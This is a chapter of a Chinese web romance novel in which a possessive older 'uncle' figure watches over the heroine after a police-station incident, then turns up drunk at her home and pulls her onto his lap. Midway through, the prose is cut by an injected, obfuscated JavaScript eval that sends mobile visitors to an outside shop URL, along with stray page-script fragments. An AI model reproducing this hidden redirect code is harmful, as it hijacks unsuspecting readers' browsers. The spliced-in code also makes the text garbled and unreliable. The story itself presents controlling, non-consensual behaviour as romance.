文趣网 > 其他小说 > 被阴湿偏执狂觊觎后 > 12. 第 12 章
    薄渊沉到警局的速度比徐曦檀预想中要快很多。

    她和江入年进调解室没多久,就见薄渊沉从外面走来,身后跟着岑商和另外两名她不认识的人。

    薄渊沉几步走到她面前,低声询问:“人没事吧?”

    徐曦檀摇了摇头,“没事。”她丧着一张,惨兮兮地继续,“就是护照那些全被撕坏了。”

    闻言,薄渊沉轻叹了声:“是吗?真可怜。”

    他轻揉了下她的头,温声说:“人没事就行,证件可以补办。只是……”

    他顿了一瞬,眸底浮现出几许微不可查的隐秘愉悦,语调却故作惋惜:“可惜这段时间没法出国了。”

    这时岑商领着另外两人上前,同时递给她一张纸,徐曦檀低头一看,是委托书。

    薄渊沉递给她一支笔,“我先带你回去,接下来的事委托律师处理就好。”

    “嗯,谢谢小叔。”徐曦檀听话地接过笔,唰唰几下签名捺印。

    拇指指腹被印泥染红,她正要找纸,身侧伸来一只宽大温热的手。

    指骨修长有力,将她的手圈住。

    徐曦檀一怔,反应过来后就要挣扎。

    薄渊沉:“别动。”

    他拿了张湿巾,眉眼低垂,神态认真专注,仔细又温柔地将她指腹上沾着的印泥一点点擦拭干净。

    湿巾擦过的地方被风拂过,浸出阵阵凉意,可和他手掌接触的位置,却像是被火燎似的灼热滚烫。

    徐曦檀非常不自在,好不容易等指腹被擦干净了,她慌忙收回手,磕磕巴巴说:“谢谢小叔,其实我、我可以,自己来。”

    温软抽离,掌心陡然一空,薄渊沉眸底微暗,弄脏的湿巾被他扔进垃圾桶,他指骨蜷起,仿佛想将掌心残留的那点温热圈紧、独占。

    再抬眼时,所有情绪已经被收敛干净,他看着她,神色沉稳,“走吧,送你回去。”

    徐曦檀跟在他身后,突然想起什么:“我的行李……”

    行李还在车上,而车被救援拖走了。

    薄渊沉:“晚点我让人送回去。”

    警局到家还有一段距离,上了车,薄渊沉问徐曦檀:“午饭想吃什么?”

    徐曦檀:“什么?”

    她有点懵,不是说回去吗?

    薄渊沉耐心解释:“张姨上午就回去了,家里没人做饭。”

    密闭的车厢内,两人一左一右坐在后座,明明空间不算狭小,徐曦檀却总觉得有些局促不安。

    像是身旁的人存在感太强,侵略性也太足,让她下意识连呼吸都收敛。

    出于某种说不上来的警觉,她小声说:“我可以点外卖。而且小叔你是丢下工作来的吧,我就不耽误你时间了。”

    话落,空气似乎都凝固了一瞬。

    前排的司机从后视镜里瞥见先生看似平静的神情,下意识凝神屏息,没敢发出一点动静。

    徐曦檀莫名察觉到一股冷嗖嗖的寒意,她小心心翼翼往旁边看了眼,却对上薄渊沉温和的眼。

    他唇角微勾,似是带着笑意,轻叹着问:“岁岁的意思,是让我饿着肚子去工作吗?”

    徐曦檀一时被噎住,被他这样反问,有种在过河拆桥的罪恶感。

    薄渊沉已经转头朝司机吩咐:“去知味斋。”

    司机立马应下:“好的,先生。”

    速度快到徐曦檀来不及阻止,车辆很快驶离原地,朝着目的地前进。

    明白推辞不过,徐曦檀还想要拒绝的话最终还是咽了回去。

    吃过午饭,薄渊沉送徐曦檀回去。

    车停在小区门口,他没动,只是叮嘱:“我已经通知张姨了,她下午回来,行李晚点给你送来。”

    徐曦檀点头应下,麻利下车,不忘道谢:“谢谢小叔。”

    回了家,她觉得有些身心俱疲,简单洗漱了下,就直接躺床上了。

    午睡起来,手机里多了很多条消息。

    除了沈砚州的,还有爸妈的,估计是从薄渊沉那里知道了她被无辜波及,连护照签证都被损毁的事。

    她回复了沈砚州的消息,又给徐见月拨了个电话。

    安抚解释了好一通,才让妈妈稍微放心了些,又听见她说要提前回来,徐曦檀赶紧说:“真不用,您好好玩,我就乖乖待家里,能出什么事?”

    徐见月:“护照的事你也别着急去补办了,等妈妈回来陪你去。”

    徐曦檀乖巧答应:“好。”

    徐见月:“你说你这孩子,出了事也不知道给我和你爸说,听小沉说你进了警局,差点没把我们急死。”

    徐曦檀理亏:“那不是没出事嘛,我就是倒霉损失了点东西,也不是我引起的纠纷。”

    徐见月:“总之不管什么事,都不该瞒着我们。”

    徐曦檀:“知道啦,而且我也没想瞒。”

    徐见月:“这次多亏了小沉,等我回来得好好感谢他。”

    挂了电话,徐曦檀又在床上躺了会儿,听见房间门外传来轻微动静。

    她开门一看,果然是张姨回来了。

    她弯起眼睛喊人:“张姨。”

    “小曦,你醒了。”

    张姨絮絮叨叨说起这件倒霉事,偶尔还要骂几声那些动手的人,义愤填膺的,非常为她鸣不平。

    徐曦檀听得都有些懵了,赶紧安抚:“没事,反正只是损失了证件,而且小叔安排了律师处理,赔偿到位就行。”

    张姨:“……唉,小曦啊,唉……”

    徐曦檀疑惑:“怎么了?”

    “唉……”张姨又叹了口气,最后只憋出句,“你出门在外,还是要保护好自己啊。”

    徐曦檀不懂,但是认真接话:“我知道的,张姨。”

    张姨:不,你不明白啊。

    徐曦檀吃晚饭的时候,接到沈砚州打来的视频,那边正好中午,他也在吃午饭。

    徐曦檀:“唉……看见你吃的这些东西,我觉得我来不了也不是坏事。”

    沈砚州看看自己面前的牛排、香肠、果酱包,又看了看屏幕里徐曦檀碗里的红烧排骨、水煮牛肉,口蘑虾滑……

    “可恶,那你多吃点,把我馋的那份也一起吃了。”

    徐曦檀笑眯眯点头,一口一朵口蘑,“放心,我会把自己喂得饱饱的。”

    两人东拉西扯地聊了会儿,沈砚州那边突然有人找他。

    那人声音压得低,徐曦檀听不太清楚,只隐约听见几

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837570|211509||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    个字词,好像是什么“醒了”“要见您”之类的。

    她好奇问:“怎么了,有事要处理吗?”

    沈砚州简单和那人交代了几句,回她:“上午车子不小心蹭到了人,现在醒了说要见我。”

    徐曦檀一惊:“撞了人?”

    沈砚州无奈:“没撞到,是她低血压,自己蹭到我车上了,然后直接晕了。”

    “那就好。”徐曦檀松了口气,“那你快点吃完饭去处理吧。”

    挂断视频,徐曦檀专心吃饭,家里只有她一人,张姨有事,做好晚饭就离开了。

    屋里静悄悄的,她听着电视里综艺的背景音,琢磨着接下来一周要怎么打发时间。

    填饱肚子,刚放下筷子,敲门声响起。

    徐曦檀以为是送行李的人到了,从猫眼看了眼,出乎意料,门外的人竟然是薄渊沉,而他旁边还站着岑商。

    徐曦檀赶紧打开门:“小叔?你怎么来了?”

    她这才看清楚,薄渊沉双颊有些不正常的红,胳膊被岑商扶着,才勉强能站直,于是赶紧侧身让开位置,“这是怎么了?”

    岑商:“先生晚上应酬推不过,多喝了几杯。”

    他低着头扶先生进屋,都没好意思对上徐曦檀的目光。

    徐曦檀:“那赶紧让小叔回家休息啊,怎么还来这里?”

    岑商:“这边近些,先生坐车里更难受。”

    岑商扶着先生在沙发坐下,又赶紧告辞:“车上还有另一位秘书也醉了,我得送人回去,徐小姐,先生就麻烦您照看了。”

    徐曦檀甚至来不及阻止,岑商就已经飞速关门离开了。

    “可是我——”照顾不来喝醉的人啊。

    剩下的话淹没在了关门声了,徐曦檀幽幽叹了口气,转身看向仰躺在沙发靠背上的人。

    应该是喝醉了难受,他眉头紧紧蹙着,双颊潮红,眼眸深邃迷离,衬衫领口的扣子被解开两颗,露出锁骨轮廓。

    以往疏冷凌厉的气势全无,整个人看起来甚至隐隐透着极致诱惑又危险的冲击力。

    徐曦檀没敢多看,赶紧挪开了视线,只是小心问:“小叔,你还清醒吗?”

    没得到回答,只听见他喉咙里挤出无意义的咕哝。

    徐曦檀想了想,转身进了厨房,冲了杯蜂蜜水出来。

    薄渊沉身量极高,肩宽腿长,仰靠在沙发上,原本宽敞的沙发都被衬得小巧了许多,那一双长腿横在沙发和茶几中间,直接挡住了路。

    徐曦檀停在沙发边上,俯身轻拍了拍他的肩,“小叔,起来喝点蜂蜜水吧。”

    他双眼闭着,漆黑睫羽浓密,若不是皱紧的眉头,还有颤动的眼睫,徐曦檀都以为他已经睡着了。

    好几秒没得到回应,徐曦檀又拍了拍,这次声音更大了些:“小叔、小叔?你先喝点蜂蜜水,会舒服些。”

    大抵是吵到了他,那双紧闭眼眸不情不愿地半睁开。

    见状,徐曦檀赶紧转身,准备拿茶几上的蜂蜜水,指尖还悬在半空,腰间突然横来一条胳膊。

    以一种不容她抗拒的力道,拉扯着她向后仰倒,直接坐在了身后那人的大腿上。

    猝不及防,徐曦檀猛然睁大了眼。